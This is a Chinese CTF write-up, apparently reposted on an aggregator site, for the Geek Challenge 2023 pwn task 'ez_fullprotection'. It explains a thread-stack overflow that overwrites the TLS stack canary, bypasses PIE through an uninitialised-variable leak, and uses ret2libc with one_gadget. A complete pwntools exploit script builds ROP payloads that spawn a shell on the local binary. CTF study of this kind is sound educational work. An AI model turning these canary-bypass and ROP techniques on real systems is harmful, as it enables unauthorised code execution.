极客大挑战2023 ez_fullprotection

2023-11-22 12:12

本文主要是介绍极客大挑战2023 ez_fullprotection,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言

通过这道题学到了很多东西, 感谢 rbp 师傅的分享. 本题是一个多线程的栈溢出, 题目本身不算难, 但是一些知识还是挺有趣的.

WP

考点: 栈溢出+多线程栈相关知识

保护: 64位程序, 保护全开

程序本身很简单, 主要说下关键点. 在 game 函数中, 存在如下逻辑:

这里 password 是一个随机数, 所以 Winner_prize 我们多半是进不去的. 但是这里用 scanf("%lu", &v1) 进行输入, 如果我们输入一个非数字, 比如 '+' 等字符. 这时是没有向 v1 中写入值的. 所以后面 printf 输出的就是一个栈上的数据, 通过他我们可以泄漏一些信息.

经过调试, 最开始 v1 = [rbp-0x10] = _start, 所以当我们输入失败后, 后面输出的就是 [rbp-0x10] = _start 的值了, 以此可以绕过 PIE.

然后就开了一个线程: 注意最开始是存在栈溢出的, 但是没啥用

子线程中存在栈溢出:

为什么题目要在子线程中搞一个栈溢出呢? 我们先在主线程中看看其 TLS 的位置:

因为题目开了 Canary, 所以要进行栈溢出利用的第一步就是泄漏 Canary, 但是这里没啥可以用来泄漏的, 那就只有通过覆盖 TLS 中的 stack_guard 来进行利用了, 而如果要在主线程中通过栈溢出来完成是不可能的, 因为 TLS 在栈的上方.

但是在子线程中就不一样了. 我们知道线程之间是共享虚拟内存的, 那么这就存在一个很大的问题了, 比如堆/栈地址冲突, 所以子线程的堆/栈其实是用 mmap 来模拟的 (这里我大概看了下源码, 但是可能有误, 请读者自行检验). 

所以可以看到在子线程中其栈在匿名映射与文件映射区, 而 TLS 的位置在其下方不远处. 所以这里就可以直接通过栈溢出覆盖 TLS 中的 stack_guard 去绕过 Canary 保护.

后面就是经典的 ret2libc 了, 就没啥好说的了.

exp 如下: system 好像不行, 后面赋值的时候寄存器满足不了

from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
context(arch = 'amd64', os = 'linux')
#context(arch = 'i386', os = 'linux')
#context.log_level = 'debug'io = process("./pwn")
elf = ELF("./pwn")
libc = elf.libcdef debug():gdb.attach(io)pause()sd     = lambda s    : io.send(s)
sda    = lambda s, n : io.sendafter(s, n)
sl     = lambda s    : io.sendline(s)
sla    = lambda s, n : io.sendlineafter(s, n)
rc     = lambda n    : io.recv(n)
rl     = lambda      : io.recvline()
rut    = lambda s    : io.recvuntil(s, drop=True)
ruf    = lambda s    : io.recvuntil(s, drop=False)
addr4  = lambda n    : u32(io.recv(n, timeout=1).ljust(4, b'\x00'))
addr8  = lambda n    : u64(io.recv(n, timeout=1).ljust(8, b'\x00'))
addr32 = lambda s, f : u32(io.recvuntil(s, drop=f, timeout=1).ljust(4, b'\x00'))
addr64 = lambda s, f : u64(io.recvuntil(s, drop=f, timeout=1).ljust(8, b'\x00'))
byte   = lambda n    : str(n).encode()
info   = lambda s, n : print("\033[31m["+s+" -> "+str(hex(n))+"]\033[0m")
sh     = lambda      : io.interactive()
menu   = b''#gdb.attach(io, 'b *$rebase(0x0000000000001584)')sla(b'name: ', b'XiaozaYa')
sla(b'guess : ', b'+')
rut(b'entered ')
_start = int(rut(b'.\n'), 10)
base = _start - elf.sym._start
info("_start", _start)
info("base", base)pop_rdi  = 0x00000000000016e3 + base # pop rdi ; ret
pop_rsi  = 0x00000000000016e1 + base # pop rsi ; pop r15 ; ret
ret      = 0x000000000000101a + base # ret
puts_plt = 0x0000000000001150 + base
puts_got = 0x0000000000003F60 + base
ret_addr = 0x0000000000001541 + base
pay = b'A'*0x38 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ret_addr)
pay = pay.ljust(0x870, b'A')
print(pay)
sl(pay)libc.address = u64(ruf(b'\x7f')[-6:].ljust(8, b'\x00')) - libc.sym.puts
info("libc_base", libc.address)
"""
0xe3afe execve("/bin/sh", r15, r12)
0xe3b01 execve("/bin/sh", r15, rdx)
0xe3b04 execve("/bin/sh", rsi, rdx)
"""ogs = [0xe3afe, 0xe3b01, 0xe3b04]
ogs = [i+libc.address for i in ogs]
pop_4 = 0x00000000000016dc + base # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret#pay = b'A'*0x38 + p64(ret) + p64(pop_rdi) + p64(next(libc.search(b'/bin/sh'))) + p64(libc.sym.system)
pay = b'A'*0x38 + p64(pop_4) + p64(0)*4 + p64(ogs[0])
sl(pay)
#pause()
#debug()
sh()

效果如下:

这篇关于极客大挑战2023 ez_fullprotection的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/410070

相关文章

跨国公司撤出在华研发中心的启示:中国IT产业的挑战与机遇

近日,IBM中国宣布撤出在华的两大研发中心,这一决定在IT行业引发了广泛的讨论和关注。跨国公司在华研发中心的撤出,不仅对众多IT从业者的职业发展带来了直接的冲击,也引发了人们对全球化背景下中国IT产业竞争力和未来发展方向的深思。面对这一突如其来的变化,我们应如何看待跨国公司的决策?中国IT人才又该如何应对?中国IT产业将何去何从?本文将围绕这些问题展开探讨。 跨国公司撤出的背景与

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

CSP 2023 提高级第一轮 CSP-S 2023初试题 完善程序第二题解析 未完

一、题目阅读 (最大值之和)给定整数序列 a0,⋯,an−1,求该序列所有非空连续子序列的最大值之和。上述参数满足 1≤n≤105 和 1≤ai≤108。 一个序列的非空连续子序列可以用两个下标 ll 和 rr(其中0≤l≤r<n0≤l≤r<n)表示,对应的序列为 al,al+1,⋯,ar​。两个非空连续子序列不同,当且仅当下标不同。 例如,当原序列为 [1,2,1,2] 时,要计算子序列 [

国产游戏行业的崛起与挑战:技术创新引领未来

国产游戏行业的崛起与挑战:技术创新引领未来 近年来,国产游戏行业蓬勃发展,技术水平不断提升,许多优秀作品在国际市场上崭露头角。从画面渲染到物理引擎,从AI技术到服务器架构,国产游戏已实现质的飞跃。然而,面对全球游戏市场的激烈竞争,国产游戏技术仍然面临诸多挑战。本文将探讨这些挑战,并展望未来的机遇,深入分析IT技术的创新将如何推动行业发展。 国产游戏技术现状 国产游戏在画面渲染、物理引擎、AI

HNU-2023电路与电子学-实验3

写在前面: 一、实验目的 1.了解简易模型机的内部结构和工作原理。 2.分析模型机的功能,设计 8 重 3-1 多路复用器。 3.分析模型机的功能,设计 8 重 2-1 多路复用器。 4.分析模型机的工作原理,设计模型机控制信号产生逻辑。 二、实验内容 1.用 VERILOG 语言设计模型机的 8 重 3-1 多路复用器; 2.用 VERILOG 语言设计模型机的 8 重 2-1 多

分库分表:应对大数据量挑战的数据库扩展策略

随着互联网技术的发展,数据量的爆炸性增长给数据库系统带来了前所未有的挑战。为了有效管理大规模数据并保持高性能,分库分表成为了一种常见的数据库扩展策略。本文将探讨分库分表的概念、动机、实施策略以及潜在的挑战和解决方案。 什么是分库分表? 分库分表是一种数据库架构设计策略,它将数据分散存储在多个数据库(分库)和多个表(分表)中。这种方法可以提高数据库的可伸缩性、可用性和性能。 为什么需要分库分表

2023 CCPC(秦皇岛)现场(第二届环球杯.第 2 阶段:秦皇岛)部分题解

所有题目链接:Dashboard - The 2023 CCPC (Qinhuangdao) Onsite (The 2nd Universal Cup. Stage 9: Qinhuangdao) - Codeforces 中文题面: contest-37054-zh.pdf (codeforces.com) G. Path 链接: Problem - G - Codeforces

《深入理解 C++模板分离编译:挑战与解决方案》

在 C++编程的广阔领域中,模板是一个强大而复杂的特性,它为程序员提供了高度的灵活性和代码复用性。然而,模板的分离编译却常常成为开发者们面临的一个难题。本文将深入探讨 C++中模板的分离编译问题,揭示其背后的原理、挑战以及解决方案。 一、模板的强大之处 C++模板允许程序员编写通用的代码,可以适应不同的数据类型和场景。通过模板,我们可以实现泛型编程,提高代码的可维护性和可扩展性。例如,我们可以

小琳AI课堂:大模型的发展历程:从创新到挑战

大家好,这里是小琳AI课堂。今天我们来聊聊大模型的发展历程,这是一段充满创新与挑战的故事。🚀 让我们追溯到20世纪50年代,那时计算机科学和人工智能还处于萌芽阶段。 早期探索(1950s-1970s) 早期探索是大模型发展历程中的一个关键时期,它标志着人工智能作为一门学科的诞生。这个时期,计算机科学和人工智能还处于起步阶段,科学家们充满好奇地探索如何让机器模仿人类智能。这一阶段的探索不仅奠定

HNU-2023电路与电子学-实验1

写在前面: 这是电路与电子学课程的第一次实验,按照指导书的需求在Multisim软件搭建一个电路传感器模型,难度较小,细心完成就没有问题。 小tips:22级实验是采用上传到测试平台来进行功能检测,如果不通过则会打回修改后再重新提交,(我们那时候的评测系统特别特别慢,一次只能测一个同学,剩下同学就排队等着,久的时候甚至超过10个小时),这里列举一个常见的错误:热噪声有+号这端需要连接有源滤波器